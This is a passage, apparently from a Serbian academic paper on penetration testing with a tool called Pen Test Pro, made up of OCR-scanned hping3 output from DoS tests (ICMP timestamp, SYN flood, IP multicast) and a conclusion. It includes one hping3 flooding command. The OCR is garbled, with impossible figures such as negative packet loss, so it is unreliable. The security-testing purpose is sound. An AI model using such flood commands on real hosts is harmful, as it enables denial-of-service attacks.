len=40 1p=127.0.0.1 tt1=64 DF id=0 sport=0 flags=RA seq=0 win=0 rtt=0.0 ms
len=40 1p=127.0.0.1 ttl=64 DF id=0 sport=0 flags=RA seq=0 win=0 rtt=0.0 ms
len=40 1p=127.0.0.1 tt1=64 DF id=0 sport=0 flags=RA seq=0 win=0 rtt=0.0 ms
len=40 ip=127.0.0.1 tt1=64 DF id=0 sport=0 flags=RA seq=0 win=0 rtt=0.0 ms
len=40 1p=127.0.0.1 tt1=64 DF id=0 sport=0 flags=RA seq=0 win=0 rtt=0.0 ms
len=40 ip=127.0.0.1 tt1=64 DF id=0 sport=0 flags=RA seq=0 win=0 rtt=0.0 ms
*C

=== 127.0.0.1 hping statistic ---

9 packets transmitted, 725 packets received, -7955% packet loss

round-trip min/avg/max = 0.4/0.7/1.2 ns

Slika 32: Izlazni parametri ICMP timestamp napada

neha@neha-laptop:~$ cd /opt/lampp/htdocs/

neha@neha-laptop:/opt/lanpp/htdocs$ sudo -u root -S hping3 -0 -H 99 10.6.2.15 -1
u1000 < password

[sudo] password for neha:

HPING 10.6.2.15 (ethl 10.6.2.15): raw IP mode set, 2€ headers + 0 data bytes

o

--- 10.0.2.15 hping statistic ---

25358 packets transmitted, © packets received, 100% packet loss

round-trip min/avg/max = 0.0/0.6/0.6 ms

Slika 33: Izlazni parametri IP Unknown Protocol napada
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len=44 ip=127.0.0.1 tt1=64 DF id=6 sport=80 flags=SA $eq=1076 win=32792
len=44 ip=127.0.0.1 ttl=64 DF id=€ sport=80 flags=SA seq=1077 win=32792
len=44 1p=127.0.0.1 tt1=64 DF 10=0 sport=80 flags=SA seq=1€78 win=32792
len=44 1p=127.0.9.1 (t1=64 DF 1d=€ sport=80 flags=SA $eq=1079 win=32792

- 127.0.0.1 hping statistic ---
1081 packets transmitted, 1086 packets received, 1% packet loss
round-trip min/avg/max = 6.6/6.4/72.3 ms

len=44 1p=127.0.0.1 tt1=64 DF id=0 sport=80 flags=SA seq=6372 win=32792
len=44 ip=127.0.0.1 ttl=64 DF id=6 sport=80 flags=SA seq=6373 win=32792
len=44 1p=127.0.0.1 ttl=64 DF id=6 sport=80 flags=SA seq=6374 win=32792
len=44 1p=127.0.0.1 tt1=64 DF 1d=€ sport=80 flags=SA seq=6375 win=32792

- 127.0.0.1 hping statistic ---
6376 packets transmitted, 6376 packets received, 0% packet loss
round-trip min/avg/max = 0.0/6.5/1000.8 ms

len=44 1p=127.0.9.

len=44 ip=127

0.0.1 ¢
.0.0.1 tt
0.0.1 ¢

len=44 ip=127.0.9.

- 127.6.0.1 hping statistic ---
99156 packets transmitted, 93959 packets received, 5% packet 10ss
round-trip min/avg/max = 0.0/23.5/1832.5 ms

Slika 34: Izlazni parametri SYN Flood napada

len=44 ip=127.6.6.1 tt1l=64 DF i1d=0 sport=21 flags=SA seq=1057 win=32792
len=44 ip=127.6.6.1 ttl=64 DF 1d=0 sport=21 flags=SA seq=1858 win=32792
len=44 ip=127.6.6.1 tt1=64 DF 1d=0 sport=21 flags=SA seq=1859 win=32792
len=44 ip=127.6.6.1 tt1=64 DF id=0 sport=21 flags=SA s5eq=1860 win=32792
len=44 ip=127.6.6.1 t11=64 DF 1d=0 sport=21 flags=SA seq=1061 win=32792
len=44 ip=127.6.6.1 tt1=64 DF id=0 sport=21 flags=SA seg=1062 win=32792
len=44 ip=127.0.6.1 tt1=64 DF id=0 sport=21 flags=SA seq=1063 win=32792
len=44 ip=127.6.6.1 tt1l=64 DF id=0 sport=21 flags=5A seq=1064 win=32792
len=44 ip=127.6.6.1 tt1=64 DF id=0 sport=21 flags=SA seq=1065 win=32792
len=44 1p=127.6.6.1 ttl=64 DF 1d=0 sport=21 flags=SA seq=1066 win=32792
len=44 ip=127.6.6.1 tt1=64 DF 1d=0 sport=21 flags=SA seq=1067 win=32792
~C

--- 127.€.6.1 hping statistic -

1068 packets transmitted, 623 packets received, 42% packet loss
round-trip min/avg/max = 0.8/382.5/11507.7 ms

Slika 35: Izlazni parametri IP multicast napada
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rtt=0.2 ms
rtt=0.3 ms
ret=6.2 ms
ret=e.1 ms

rtt=0.3 ms
rtt=0.2 ms
rtt=60.2 ms
ret=6.2 ms

L1=64 DF 1d=@ sport=80 flags=SA $eq=93956 win=32792 r11=6.2 ms
1=64 DF 1d=0 sport=80 flags=5A seq=93957 win=32792 rtt=0.3 ms
t1=64 DF id=0 sport=80 flags=SA $€q=93958 win=32792 rtt=0.2 ms

rtt=1.2 ms
rtt=1.5 ms
rtt=1.2 ms
ret=1.3 ms
ret=0e.8 ms
rtt=0.8 ms
rtt=1.7 ms
rtt=1.1 ms
rtt=1.2 ms
rtt=0.8 ms
rtt=0.8 ms
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9. Zakljucak

U ovom radu testirali smo HTTP, SIP i TCP/IP protokole, kao i skup razlicitih
DoS napada za svaki protokol, kao sto su HTTP Torture, HTTO Slow DoS, SIP
Torture, SYN Flood, Ping of Death, Smurf, WinNuke, Port Scan napada.

Testiranje penetracije sistema je vrlo efikasan metod za analizu bezbednosti
sistema. Aplikacije koje se koriste za automatizovano testiranje penetracije se
mogu uskladiti sa organizacijama ili pojedincima koji zele da koriste moc testiranja
na penetraciju, daju¢i automatizovan nacin za obavljanje napada na protokole kao
Sto su TCP/IP, HTTP, SIP i drugi. Pen Test Pro aplikacija je uspesna u postizanju
svog cilja, odnostno za pruzanje sveobuhvatnih ispitivanja i analiza na lak nacin.
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